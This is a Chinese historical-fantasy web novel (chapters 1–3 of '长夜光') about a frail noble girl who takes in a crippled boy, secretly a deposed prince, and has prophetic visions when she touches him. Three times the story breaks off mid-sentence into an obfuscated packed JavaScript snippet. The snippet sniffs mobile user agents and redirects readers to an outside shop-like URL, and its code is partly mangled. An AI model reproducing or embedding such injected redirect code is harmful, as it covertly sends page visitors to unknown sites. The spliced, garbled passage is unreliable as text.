《长夜光》 1. 惊魂 鸿顺十六年,京师,大雪。 崎岖的山路上突兀地驾来一辆行装简单、装饰低调的马车,骨碌碌地在厚厚的积雪上驶过,划破山林的静寂。 榆木车架,乌漆轮毂,彰显着车主人非凡的身份。 青绸车帷将冽冽寒风挡在外面,车厢内暖香浮动,直让人昏昏欲睡,沉入温柔乡。 卧坐在车厢角落的丫鬟打了个哈欠,还是打起精神来等着主子吩咐。 驼绒铺就的卧榻上,魏国公府最娇贵的小姐正半坐半躺,闭眼假寐。 绸缎一样柔顺黑亮的青丝半散在榻上,往下眉睫乌浓,鼻梁挺翘。粉妆玉琢,分外可喜,活像工笔画里捧着书卷、跟在菩萨身边眉目安然的小神仙。 一双沉静的星眸忽然睁开,如盈盈秋水波荡,给整个人点上生气。 经过一天的颠簸,宋游月有些烦闷。 斗诗、射覆的游戏都玩了一个遍了,可当她掀起垂帷往外一瞧,离到家又还早。 旁边的谈星笑道:“小姐莫急,在日落前定能回府。” 她蹙着眉,百无聊赖地嚼着嘴里的酸梅。 “来回这么多次,这山上的景我都看够了。” 她干脆躺下,可是想睡又睡不着。 因为自幼先天不足,体弱多病,又怎样都治不好,家里人常常带着她四处求医问药、求神拜佛。 这妙宜寺是皇家圣寺,她更是从小到大来了不知道多少次。连这山路上有几道坎、几条溪都一清二楚。 只怕这次也是无功而返,白白让人失望。 躺烦了,她坐起身,接过瓷杯轻呷一口温水,好了一些,思绪又逐渐飘远。 最近几天她梦魇缠身,总是梦到过去的事情,掺着零碎的今事,让她睡不安稳。 可大多都是梦过即忘,抓都抓不住,睡醒心里空落落的。 阿姐说她是思虑过重,恰逢妙宜寺的德清大师终于云游归来,所以来这里散散心。 但昨晚的梦,渲染着代表至尊的明黄,让她忘都忘不掉。 梦里很热闹,灯市里男女老少充街塞陌,车马轰雷。应是正值元宵,张灯结彩,光烛天地,叫卖声、吆喝声在灯笼照下的光里融成一片。 而宫殿深处一片死寂。 静谧的黑暗里,青年穿着象征至尊的明黄龙袍侧躺在床上,没了呼吸地永远睡去。身旁是拟好的圣旨,墨锋凌厉,内容明了。 但怎么可能。 当今圣上已六十余岁,且身体康健,与梦中一切皆不符。 好荒诞的梦。 她正想着,马车突然一晃,单调的车轮声戛然而止,随之传来的是刀枪相撞的铿锵声,以及马匹的嘶鸣、婢女的尖叫。 宋游月身子一晃,便从塌上跌了下来。 “是山贼!保护小姐——” 谈星大喝一声,几个婢女和护卫都围到她跟前。 “小姐,躲好了——” 一时间地动山摇,耳畔是乒乒乓乓的刀剑声与呼啸的风雪声。 厚重的马车被狂风掀起,凛冽的冷气涌入,劈开车内香暖的空气,带着似有若无的血腥味。 宋游月惊魂未定,躲在婢女与侍卫之间,脑中飞速思考着这群兵马的来路。 这次上山,是她第一次独自前来,带的人手不多,难道对方正是看准这点才对她出手? 可是父亲受圣上重视,现在又处于这样一个敏感期,对宋家出手无疑是打皇家的脸,应该没有人会蠢到这样的程度才对…… 不到一柱香的时间,车外声音渐弱。宋游月听着,便知快结束了。 侍卫动作轻巧地跳上车,隔着帘子说:“二小姐,人都解决了。” 谈星先怒喝道,带着惊魂未定的哭腔:“到底什么情况?惊扰了小姐,小心老爷回去砍你们的头!” “谈星。”宋游月看了她一眼,摇摇头,然后跳下马车。 她身上套着貂皮袄,头上围着卧兔儿,怀里揣着紫铜手炉,俏生生立在那里,举止风流,气度威仪。 她生得好看,是恰合时人审美的好看。圆脸常常挂着笑,讨人喜欢。 但此时这张脸上神情冷淡,比松树枝头压着的白皑皑的雪还要冷几分。 走过来的几步,气场压下来,黑压压跪着的人连头也不敢抬。 她径直走向血污处,蹲下身子端详,查看匪徒的衣衫形制、领口袖口等。 看完,她把刚才的侍卫点出来:“你可发现什么不对?” 宋家是兵戎出身,养育也未曾偏颇,她自小耳濡目染,也略懂些。 侍卫一抱拳,恭敬地回道:“依属下看,并无任何特别之处。” 他纠结道:“……反而很杂,而且武艺不高,不像是家族调教出来的——” “倒像是普通土匪。对么?” 宋游月一笑,接过他的话。 “这就有意思了。衣衫破烂、武艺不精、兵器落后......倒像一个巧合。” 她沉吟一会:“把活口带上,人都看好了。” “是。” ...... 半路出了这种岔子,宋游月本来胡思乱想的心情也没了。 她闷在榻上,沉静地思考。 父亲方班师回朝,自是在朝中树敌不少。 可是,买人来杀她这个女儿,买的还是土匪,就不同寻常了。 正想着,突然间,马车又一停,婢女掀帘进来。 “二小姐,路边躺了个人,要带回府里吗?” 宋游月微微蹙眉:“什么人?” 婢女道:“像是个十岁出头的孩子。” 宋游月没多想,点头:“带回府里,叫人仔细些,查清身份。” 厚重的车帘“砰”地一声再次闭上,将冬日的肃杀之气尽数挡在外面。宋游月闭着眼,感受到马车将要起驾的微微摇晃,突然想到那德清大师说的话。 “慢着,我下去看看。” ...... 宋游月一下车,才知外面又下起了雪。 小雪轻飘飘落下,沾湿她的裙角。她绕过马车,逆着去路往后走。 脚下踩着吱呀叫的厚厚的雪,她想起下午进妙宜寺面见德清大师时的情形。 妙宜寺她是常客,但这德清大师她是记事以来第一次见。 德清大师声名远扬,当年为仍是平民孤女的皇后娘娘相面,预言凤命,一举成名,皇家圣僧的身份算得上是众望所归,是妙宜寺的主持,专为王子王孙祈福。 他不仅精通命相之术,还是有名的医药鬼手。这五年来她每旬一吃的归元丸,便是出自他手。 只是这些年他云游四方,难得一见。 当时她与德清大师相对而坐。 那老僧笑眯眯地看她,打量半晌,缓缓地说:“你这体弱,自有缘法,寻到有缘之人便可破。这有缘人今生会受你的恩,也会还你的情。” 她早已听了许多大同小异的话,无动于衷地低着头,摆出恭谨的模样。 那真不巧,因自幼体弱,她时常被父母耳提面命要多做善事积德。光路上碰到被她捡回府里的,不说十几个,也得有七八个。 其实她并不相信这些虚无缥缈的东西,但就收留可怜人这件事,对她并不稀奇。 他目光清明,像是能看透她所思所想。滚滚佛珠笑道:“小姑娘,老朽可不是在胡说。 那人与你命运相息。你不是天生体弱么?路就指在你面前。他越生气蓬勃,你越身体康健,他前程似锦,你便花生满路。” “当然......” 他笑起来,脸上的皱纹加深,透出神秘的意味:“他对你的情谊越深,你们命定的缘分交织地越密不可分。关乎的不仅是你二人的命运,还有家、国。这一点,姑娘有慧根,很快就能体会到了。” “算一算,这改命的关键,就在今日了。” 那大师意味深长的话语仍飘在耳边,宋游月想,那人会是这路边躺着的孩子么? 还有那劳什子慧根,她当时问大师什么意思,可他只是笑而不语。 宋游月想,假若真这么厉害,那怎么没算出她今日的血光之灾。 且那孩子的身份,是否与今天的祸乱有关,还要仔细查上一查。 胡乱想着,她走过去。白皑皑雪地上,很快延伸出两道浅浅的脚印。 雪又大起来,柳絮一样在料峭的风里飞舞,谈星撑一把大油伞,俯首为她遮蔽。 她走到地上躺着的人跟前,脚步停住,倾身。 只见那孩子双目紧闭着,因脸上都是尘土与雪水,看不清模样,也不知男女。 发丝凌乱缠绕在一起,上面还凝结着几朵冰花。就这一会的功夫,雪落到他脸上,积起薄薄的一层。 身上穿的褐色麻衣开了不知几道口子,还有数道暗红血痕与黑印,露出一截枯瘦的手腕,与白皑皑的大地形成极大反差。 “他”微微侧躺着,在冰天雪地中身体蜷缩在一起,实在可怜,又莫名熟悉。 宋游月恍神,一时竟把眼前的人与梦中死去的青年皇帝重合在了一起。 内心震动,又在刹那间回神。 一定是最近天冷,人都冻糊涂了。 她回神,感受到凉凉的雪花飘在手背,忙蹲下身子努力扶了一把地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638281|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的他。 摸到满手陌生的扎人的冰冷时,原来温热白皙的指尖瞬间冻红了,打了个寒噤,身子还踉跄了一下。 她没有犹豫,指挥起身边的人,思路清晰:“过来,把他抬走。” 可不是她不想救,只是她身娇体弱,这天寒地冻的,把自己冻坏了怎么办? 好心也不能用在无用功。 看着他被侍卫架起,宋游月思索片刻,从荷包里取出来一个上午刚求的护身符,用手暖了暖,轻轻挂在“他”露在外面的伶仃的手腕上,小心翼翼地系紧。 亦步亦趋地跟在后面。 “把他安置在前车厢,我看顾他就行。” * 魏国公府的名号,是开国以来便有的。 当初宋家老祖效忠盛高祖统一天下,才受封魏国公。然而随着家国安宁,宋家没了用武之地,逐渐没落。直到鸿顺十五年,她祖父宋聆击退蒙古入侵,魏国府这才重新崛起。此后当今即位,也有她父亲宋岐暗中的努力。 家族靠在外征战再度崛起,魏国府虽在仕途上蒸蒸日上,却人丁稀少,仅她父亲宋岐这一门。 家族人口少,关系简单,尊荣却丰,既有好处,也有坏处。 好处是她父亲宋岐深受皇帝看重,宋家无复杂繁乱的子弟关系,处境暂时安全。 坏处是现在是夺嫡发酵期,魏国公府是中立派,受多方虎视眈眈,群狼环伺。一招不慎,坠入深渊。 比如今天的事情,就不知是哪方势力派来的人,想要她的命。 不过,审讯的事情有专人来做,此时此刻最牵动她心神的,是在里间躺着的人。 “他到底何时能醒?” 宋游月低问身旁的话月。 已是傍晚,天早早就黑下来了,只是窗外雪光照映,不显得昏暗。 桌上燃着盏小灯。她坐在猩红大炕上,靠着软绸引枕,百无聊赖地翻着书册,却心思烦乱,怎么也看不进去一个字。 咚咚、咚咚。 她能感受到自己的心跳平缓而有力地跳动着。她在紧张。 今日山路上土匪的来路像是压在她心上的一块大石头,让她茶饭不思。 而路上捡回来的孩子正在里间昏睡,还不知何时能醒。 与她差四五岁,不过因营养不良显得年龄小而已,说是少年更为贴切。 就这么一个与她年纪相差不多的少年,却双腿尽断,容颜半毁,衣着褴褛地躺在寒冬的雪地上。 方上马车就发起烧来,深夜了,好容易才温度降下来。 宋游月心情很复杂。有可怜,也有说不清道不明的担忧和烦躁。 “奴婢刚去看过,那少年年纪不大伤病不少,两条残废的腿还没找到医治的法子,只能静养。” 她把书卷放下,看向话月:“只能静养?你母亲医术那般好,也没办法吗?” 话月的母亲是她母亲的师姐,医术高明。 她跪下低头道:“奴婢惭愧。这腿疾虽新,但伤势惨烈,施暴之人带着十二分的心思去做的,实在难以短时间医治。” 宋游月低头思索:“再想办法。绝不能让那少年小小年纪便废了腿。脸上的伤呢?我记得,库房里有罐玉肤膏,一会你取来给他用上,可会留疤?” 话月摇摇头:“脸上无大碍,不会留疤。只是那少年的身子很虚弱,今日只是侥幸保住了一条命,调理好身子还来日方长。” 她说着,做了个拜佛的手势。“小姐福气好,那孩子既是小姐的贵人,定能病体痊愈,安然无恙。” “但愿如此。” 她抚了抚腕上的玉镯道。 旁边的谈星看出她的不安:“小姐一向最沉得住气,今日何须着急?不如先去睡罢。” “不。”她摇摇头,“等他醒了,我再去睡。” 纵然她素日里再有耐心,人命关天的事,她终是压不住焦躁的心情,把书册一放,去到内室。 轻手轻脚地撩开帷帐,站在床边,凝视着他瘦削的脸。 少年平静地躺着,呼吸声都显得微弱,没有存在感。 伸出的手臂瘦骨嶙峋,脸更是一点肉没有。温水拭净了他脸上原本的脏污,露出如画的眉目,鼻梁挺拔,眼尾一颗小痣,格外惑人。脸颊处一道刀伤,尤为刺眼。 宋游月瞧着,她这小贵人,长得颇为赏心悦目,是个俊美的小郎君。 等再养养,长点肉,应当会更好看。 就这么瞧着,忽然她心脏突突地跳。 福临心至,她颤着手去碰少年的额头,那里刚冷敷过,瞧着是他正常玉白的肤色。 又烧起来了。 2. 难寐 摸到少年滚烫的额头后,小小的偏院又是一阵兵荒马乱。 请医师、煎药、冷敷...... 等乱七八糟的事忙完,窗外的天早就暗如墨色,只有星子在云层间倏忽地闪。 宋游月有点累,但她不想走。 话月的母亲说,这孩子寒毒侵体,等烧完全退了,或者醒过来,才算脱离危险。 能不能活下来,就看今夜了。 她心里很紧张,可是眼皮在打架,整个人被睡意蒙住,沉沉地压下来。 从小她身体不好,还是头回这么晚睡。 但是她已经准备好了,在地上铺了褥子,凑合一晚上。 既然是她的贵人,生死关头,她总要守着,帮忙递药也好。 等他醒过来。 她默默掐着掌心,让自己打起精神。 身旁谈星递过手巾,为她擦脸,她才清醒了些许。 谈星自小随她长大,看她硬撑着不去睡,着实心疼。 可是她知道她家小姐固执,素日看着笑吟吟好说话,可决定好的事谁也劝不住。 只能盼着那少年早点醒过来,撑过今晚。 铜质漏刻里的水一点一滴地淌过去,主仆两人在寂静的夜里坐着。 最后一次给那少年喂药以后,宋游月终于松一口气,躺下准备休息一会。 她刚去摸了,烧已经退了。 那少年身上渗出的凉凉的汗,她也拿帕子都拭净了。 眼皮沉重,可她忍不住胡思乱想。 想少年的身世,他的身体,想自己的未来。 她迷迷糊糊地想:那少年伤的如此重,是有多大的仇家?身上那么多伤,什么时候能养好? 没过多久,她睡过去。 然后被渴醒。 她揉揉腰,看到外面蒙蒙亮的天色,睡过一小觉,恢复了些精神。 看了一眼旁边打瞌睡的谈星,谁也没惊动,轻手轻脚地掀开帘子出去接了水,然后回到这方小屋,打算给少年也喂点水。 却没想到直直对上了一双黑眸。 殷寻刚刚醒来,头还闷闷疼着,听到动静下意识往声响处望。 这一眼,就和少女对视上。 空气凝滞片刻,一时间没有人说话。 宋游月也愣住了。 少年的脸她已经熟悉,可睁开眼的模样还是让她惊讶。 面颊瘦削,五官稚嫩,一双潋滟的桃花眼,初现俊美的模样。只是眼下一道红痕,尤为刺眼。 “你是谁?” 少年睁着一双黑眸,目光沉沉落到她身上,一袭素白半靠在床榻上,沙哑道。 听到他哑的不成样子的声音,宋游月拧眉,走到桌边熟稔地倒了杯茶,递给他。 “渴了吧?”她放轻声音说,“你别害怕,这是魏国公府,我是宋游月。” 殷寻只见昏黄的灯光中,少女上着绯红色交领短袄,外罩藕色比甲,下着秋香色褶裙,微微侧身把茶杯递给他,扯起唇角露出个笑。 眼下透着疲惫的青黑。 他才注意到她的打扮并不多隆重,如瀑长发随意散在肩头,口脂也不曾擦。 但站在陈设富丽、处处讲究的屋子里,如出水芙蓉。 一切都柔软芬芳得不可思议。 可他什么话也没说,也没接杯子,掀起锦被想下床,还没站稳就倒回床上。 “诶!——” 宋游月什么也没顾,忙扶住他,杯子碎在地上,声音刺耳。 她却没管,扶着他帮他坐好,扯过被子盖到他腿上。 她有些生气:“乱动什么?” 可是碰到他腿的瞬间态度又软下来,语气沉重:“先别动……你的腿伤着了,又受了冻,还没医好。” ...... 他表情不变,看不出喜怒,态度沉默,整个人笼上透着死气的悲伤。 锦被下,带着擦伤的拳攥起来,断甲扣在掌心。 他想起他昏迷前的经历,那当然不是一场噩梦。 他眼中透出恨意,又被很好地掩饰过去。 柔贵妃…… 杀了他母妃还不够,还要他的命。 万幸的是,她手底下的人又蠢又自大,只断了他的双腿后扔到雪地里。 他以为自己活不到今日了,可是他终究活了下来。 沉默片刻,殷寻眨眨眼,浓密的羽睫垂下。 目光落到铺在地上的软褥以及旁边仰坐着睡着的丫鬟。 那里锦被半掀,凌乱地铺着。 “抱歉。” 原来浑身带刺的少年态度突然软下来,语气低落:“我只是,不太高兴。” “我的腿……还能好么?” 殷寻仰脸看她,黑白分明的眸子里跳跃着烛火,流露出显而易见的乞求和不安。 宋游月没想到少年这么快就接受了事实,她不了解他的过往,但能感受到他那瞬悲伤。 不过还是松口气,点点头。 “目前有点困难,但以魏国府的能力,一定能把你治好。” “但现在,你需要好好休息。” 明净清秀的少女像个小大人一样绷着脸,站起来,走到一边重新倒了杯水,递给他。 “渴了吧?” 她蹙眉看着他干涩而苍白的唇。 殷寻盯着那杯水,视线顺着她干净圆润的指甲和青葱修长的手指向上,在袖口上方停住,接了过来。 他小口小口喝着,脊背挺直,举手投足透着贵气。 宋游月眯着眼看他,等他喝完,伸出手,摊开。 ? 殷寻犹豫着把手伸过去,没等真递给她茶杯,宋游月就直接覆住他细瘦的手指,一把拿过来。 “你不用这样小心——” 还没等她说完,在触及到他的一瞬间,她眼前发黑,脑中闪现血腥的场景,引得她一阵耳鸣头晕,险些握不住茶杯。 怦怦、怦怦…… 悲鸣、惨叫、血流成河。 ……那是什么? 因眩晕产生的恶心侵袭着她,让她想吐。 但平稳跳动的心脏,清醒的大脑和充沛的体力无一不告诉她,她现在状态良好,比以往任何时候都要健康。 可是那些画面,多么真实。 殷寻目光落在她紧攥着茶杯的手指:“这位,小姐?” 宋游月回神,脑中针扎一般的感觉终于消失,恢复平静。 她应了一声,把杯子放下,脸颊烧起来的红云终于冷下来,慢慢淡去。 那究竟是什么? 她皱眉,可是想不明白。她是体弱,但最多也就是站久了会头晕眼花,也没出现过这样的情况。 荒谬又真实......就像,昨晚的梦一样。 只能明天请人来看看了。 她坐下来,暂且把刚刚的意外抛到脑后,问他:“你伤得如此重,是为什么?” 目光探究,装出凶狠严肃的样子。 殷寻敛容,流露出显而易见的哀痛:“主母容不下我,要我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638282|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死。” 他淡淡说:“我是南巷柳家的庶子。姨娘早亡,主母容不下我,买人打断了我的腿。” “南巷柳家?” 宋游月生在京师长在京师,但从未听过这户人家,便好奇一问。没料到少年如此乖顺,一五一十解释起来。 “是。”殷寻垂下头,“家父不过兵马司的一个小吏,比不得小姐自小金尊玉贵,不知道也是合理。” 他继续说,语调平静:“我娘原是婢女,意外怀上我,才抬了妾。又在我七岁时早亡。主母本就看不惯我,从此更是处处苛待,吃穿用度连下人也不如。” “若如此也就罢了,我可以忍。”他抬起头,一滴泪忽然从眼中滑出,直直掉在他素白的衣袖上。 “可我料不到她如此心狠,竟买人打断我的腿,还想要我的命。这些都是奴的亲身经历,字字肺腑。小姐若不信,可以派人去查。” 少年抬起眼,直勾勾地看她,带着不易察觉的委屈。 一双黑眸因为刚哭过,眼尾泛红,又在与她对视的瞬间躲闪过去,略带无措地看向别处。 宋游月沉默了一会,伸手轻轻揉了揉他头发。 “好了,莫哭,都过去了。” “我自然信你,”她语气坚定,“既然你被我捡到,那就是缘分,我自然不会把你推回火坑。你且在这住下,把伤养好。” 在她看不见的地方,顺势低下脑袋的少年勾起唇角。 “对了,还没来得及问,你叫什么名字?” “我单名寻。”少年说完,好像想到了什么,手指紧紧抓住腿上的被褥,咳了几声:“柳家视我如尘土,五年来冷嘲热讽,不一而足,我不愿再和他们扯上关系,不愿再用旧名。何况——” 他轻轻扯住她衣袖,第一次主动靠近她:“若不是小姐救我,那样严寒的天气,我早就成阴间一鬼了。是小姐给了我新的生命。” “小姐为我赐名,可好?”他用希冀的目光看她,好似蒙了天大的恩。 …… 宋游月瞪大眼,下意识抽回手。脸颊泛起薄红,偏过头去,躲开他真切的目光:“咳咳。我怎么能给你取名?” 这小孩。 要是知道她给家里的马取名煤炭,给猫取名叫煤球,不知道会不会后悔这么说。 她定了定心神:“就用你原来的字,寻就很好。至于全名叫什么,”她低头想了想,这还要跟母父亲商量一下,是否收他做弟弟,“我还要考虑一下,总之不会让你回柳家就是了。” “好。” 殷寻攥紧的手一松,终于露出个浅笑,浮现唇边小小的梨涡:“多谢小姐。” 带了几分真心实意。 看出来他的放松,宋游月也翘起唇角。 她伸手碰碰他的额头,动作自然:“总算是不烧了。” 又凑过去仔细打量:“嗯,脸不红了。” 她轻叹一声,困意又漫上来,打了个哈欠。 殷寻看着少女散漫慵懒地伸了个懒腰,走向地上卷起的被褥,便猜到她守了一夜。 为他,守了一夜么? 他等着她说些什么,或许抱怨,或许邀功,却只是等来简单的一句话。 “你休息吧,我回去了。”少女嘟囔一声,“有事明天再说,困死了。” 直到她的身影消失在门口,殷寻仍觉得不真实。 鼻尖充斥着令人安心的暖香,可闭上眼,那些恶意的嘲弄、狰狞的面孔便浮上来,吞噬他的脑海。 令他夜夜难寐。 3. 预知 宋游月是出了一身汗醒过来的。 她睁着眼,看着藕合色床帐的顶,大喘着气缓不过来。 赵嬷嬷听见她起身的动静,忙端着水,扶着她坐起来喝。 “不用了嬷嬷,你先出去。” 宋游月抿着干裂的唇,手里捧着温热的茶盏,却发呆了半晌。 悲鸣、惨叫、血流成河…… 昨日碰到少年时闪现的画面,在她昨晚的梦里,都成了最真切的故事。 她听见沙场击打的战鼓长歌,看见父亲被抬回府时身上穿的的血色衣袍。 她突然感到脸上湿湿的,一摸,是凉凉的泪。 宋游月想到什么,猛地掀开被子下床,踩上绣鞋就跑到窗户边往外望。 窗外,正簌簌下着和梦里如出一辙的大雪。 或许预知梦听起来荒谬,不能被常人理解。 但她可能是因为体弱,或有些佛缘,自小直觉很准,对从没接触过的事也能有常常被证明是对的想法。 初次打照面的丫鬟,她第一眼就觉得奇怪,果然很快就被证明叛主不忠。 刚建好的秋千,她看一眼就觉不妙,果然还没用过就塌了。 连阿姐都说她人不大,看人看事却总是很准。 这次预感更是强烈,心里总有一种声音催促着她去行动,去阻挡和改变什么。 她被侍女仆妇们围着坐回床上,心头总笼罩着一层乌云,惴惴不安。 可是这不是小事,她不是小孩子了,不能随便跟母亲父亲讲,白白让他们担心。 梦里的场景她记得很清楚,雪积成的厚被上撒了一地红艳艳的爆竹。 那算算时间,就是在一月以后。 梦里,蒙古再次侵犯,圣上以无人可用为由,启用早就退隐的父亲挂帅。 迎着风雪,父亲会踏上征伐草原的路。 结果自然是好的,大获全胜。 举国欢庆,但父亲在那场战争里断了胳膊,伤了根基。 宋游月清晰记得,父亲在马车上被奄奄一息抬下来的时候,圣上赐下的金银珠宝、珍宝草药也如流水一般一同被送了进来。 可是那除了让魏国府被推上风口浪尖,有什么用? 很快,父亲被确认残疾,再无带兵打仗的可能。圣上理所应当地收回兵权,宋家军从此四分五裂,成了一盘散沙。 若如此,也罢,从此魏国公府不问世事,宋家人从不是贪慕富贵之人,也能安然处之。 可是…… 宋游月回忆起梦中京城越来越紧张的气氛,以及最后那刻一闪而过的白布。 梦只到那里,她看不清,只是有不好的预感。 要是再长点就好了。她有些沮丧。 连她自己都不能确定的事情,讲了,又有谁会信? 宋游月有些烦躁,不过一盏茶的功夫,闪过了诸般种种念头。 罢了。 她接过一旁谈星递过来的手巾,擦了把脸。 如果真是梦中那般,她至少还有一月的时间。 如今,她先把那少年安顿好。 * 吃过早膳,宋游月迈进偏院时,难得犹豫了片刻。 要牵挂的事情太多了:昨日劫匪的来路、少年的双腿,以及今早意味不明的梦,一桩桩一件件,都逼着她往前走,主动走进她从未触及过的领域。 她满腹心事地走在前面,踩着厚厚的积雪,裙摆生风,所过之处拂开冬日的寒气。 可是总要面对,就像这冬日里开的腊梅,愈冷愈盛。 她掀帘走进去。 宋游月看到少年安静地坐在檀木椅上,应是刚用过早膳。 她先是笑了笑,走过去坐下,然后开口:“现在感觉怎么样?” 还没等少年回答,她目光落到他侧脸的伤,蹙眉:“脸上的伤口,今天上药了吗?” 殷寻摇摇头。 宋游月凑过去,打量着:“不疼么?不过看着比昨天是好了许多,但也要每日按时上药。” 他又摇摇头:“不疼。” 他没撒谎,脱去他伪装的乖巧皮囊,即使是他自己,这点小伤也司空见惯,不算什么。 宋游月看他乖顺的模样,轻叹一声:“我已决定认你为弟弟。你便从此就是投奔到我魏国公府的远房表弟。以后,想要什么就说,行事不必拘谨。” “我知道的,阿姐。只是怕给阿姐添麻烦。” 他抿唇,语气生涩,有些克制和疏离,说完就一言不发。 远房表弟? 他心中嘲讽。 他腿是残了,可是耳朵还没坏。今早刚醒就听到守夜的下人对他的身份议论纷纷,揣测着他的来头,污言秽语不绝于耳。 可是魏国公府这棵大树,他不得不攀。 在宋游月看来,少年的沉默让人心疼,仿佛整个人缩在壳子里,不愿迈出一步。 她特意放柔声音:“好了,我去为你上药。” "坐好了。" 不容置疑的话语。 被指挥的小厮手脚麻利,很快把他抬到轮椅上,还完美避开了他的伤口。宋游月接过任务,推着他往内室走。 她垂眸,神色认真。 她没让旁人进来,只他们两人面对面独坐。 宋游月拭净手,抹了一点药膏出来,在掌心搓热。 轻轻覆上那道骇人的伤口,一点点抹过去。 她涂得很仔细,一遍又一遍。 因为体弱,她的手常常是凉的,指尖的药膏却温热,湿湿地敷在他狭而短的伤口处。 少年的睫毛轻颤,像黑青色的蛾翅,歇落在瘦瘦的面颊上。 她最终呼出一口气:“好了。” “你好好休息吧,我先走了。” 她拿起帕子,仔细擦干净手,起身就要走。 她指尖在脸颊仍留有余温,殷寻怔愣片刻,还没反应过来,下意识抓住她手。 “怎么了?” 宋游月看他愣住,声音放软。 这小孩少年老成,她快忘了,他才十二岁,还是会感到不安的年纪。 其实殷寻连他自己都不明白为什么要拉住她。 可能是她上药时的温柔,让他想起了童年,想到了母妃。 在宫里苟且度日的那些年,他身上总是青紫不绝,母妃也是这般为他上药的。 可是,母妃早就死了。 世界上会关怀他的人,也不再有第二个。 还没等他说出什么,她就被一阵头晕所震,忙扶住床框才没跌下去。 “嗡——” 一时间她头晕目眩,眼前的一切都看不清了,脑海里却清晰地浮现混乱的画面:铺展的白布、呕出的鲜血、尖锐的哭声······还有心脏痛彻心扉的余温。 又来了…… 但她第一次想奋力抓住那零碎的画面--那是昨晚没有梦到的未来。 可是没有用。 宋游月蹙眉,心脏揪疼,胸口异常地起伏着。 她被那些情绪感染,但身体没出一点毛病。 旁边的殷寻愣在那里,倾身扶住她手臂,装出一副焦急的模样。 第二次了。 这个宋二小姐,到底有什么隐疾? “小姐,小姐?你怎么了?” “我没事。” 宋游月闭眼,缓了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638283|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扯出个笑。 刹那间意识到什么,又倏然用另一只手抓住他的手试探。 “不对……” 怎么会没有? 那些画面呢? 她不信邪,松开他,又轻轻碰了碰,带着和之前如出一辙的小心翼翼。 ……还是没有。 她拧眉,只好放弃。 难道跟触碰的时间无关?但至少有一点可以确认,和他有关。 宋游月指尖仍停滞在半空,心里却不由松口气。 父亲有救了。 莫非那德清大师当真那么准,这少年,真是他所说的贵人。 那就更不能放他走了,绑也要绑在她身边。 少年睁着湿濡的黑眸凑过来;“什么不对?阿姐?” 他抬脸,主动蹭了蹭她指尖,呼气时鼻息洒在她手上,像小兽。 让她无端想起幼年时期曾养的几个月大的小狗,嗯,还是只在生长期间的瘦瘦的小狗。 “无事。” 宋游月放松绷紧的身体,若无其事地略过刚才的失态,揉揉他的脑袋。 少年漂亮的眸子映在灯下,水光瑟瑟。 可他对她的身体如何毫不关心,只关心他在意的东西。 于是他问:“小姐想给我什么身份?” 他指的是以后将以什么身份留在这府里:从备受冷落的六皇子,到南巷柳家的庶子,他的下一个身份会是什么? 他不怕她去查——柔妃,啊不,现在是宠冠后宫的柔贵妃,个性多疑,做事向来狠绝,滴水不漏,谅是魏国公府有通天的权势,也查不出来他原本的身份。 她想要他的命,只可惜手下派的人是个蠢货,三言两语就被他蒙骗,一头栽向死亡的深渊。 只要他能成功留在这里,不被送回柳家,就有复仇的可能。 总有一天,他要将所有人,付出惨痛的代价。 他的目光又落回宋游月身上。 此时此刻的关键就是,让这位年轻的官小姐,排除所有可能的障碍,心甘情愿地留下他。 闻言,宋游月一愣。 给他上药这一打岔,她倒是忘了跟他说了。 “我现在就去寻母亲,商量你的身份。我的初步设想,你是我母亲母家那边的远方表弟。” 她声音轻柔地安抚他。 她能看得出,捡来的少年对她有着很深的防备和抵触——但她对此并不在意,反而颇乐在其中。 她行事素来坦荡,做事问心无愧。 她身边没有过弟弟妹妹,但她有耐心养好一个孩子。 "你且安心,若那柳家真作出如此枉顾人性的事情,我不会让你羊入虎口的。” 窗外天光已经大亮,冬日高悬,明亮的阳光射进来,照得她发间簪的银钗耀眼。 这是她第二次郑重承诺,不厌其烦。 少年微怔,压下心头莫名的烦躁。 少女眸底澄澈,就这样望着他,仿佛能把他看透。 他这个人,他的灵魂,他的欲望,在她的注视下,无所遁从。 可是她只是看着,不是窥视,没有恶意,更没有任何意图。 那一瞬间,这种莫名的感觉甚至让他想放弃伪装,剖开自己给她看个明白——如果他说出那些不愿回忆的屈辱过往,她会更心疼他吗?如果她看到他手上沾染过的鲜血,当个坏孩子,她还会如此关怀备至、如此富有耐心如同菩萨仙子吗? 她一定不会。 于是,殷寻缓缓地开口了,说出如往常般虚伪的、撕扯着他灵魂的真实的话:“阿姐莫要为难。我不过一条贱命,如何配得上小姐弟弟的身份?做个扫洒小厮便知足了。” 4. 试探 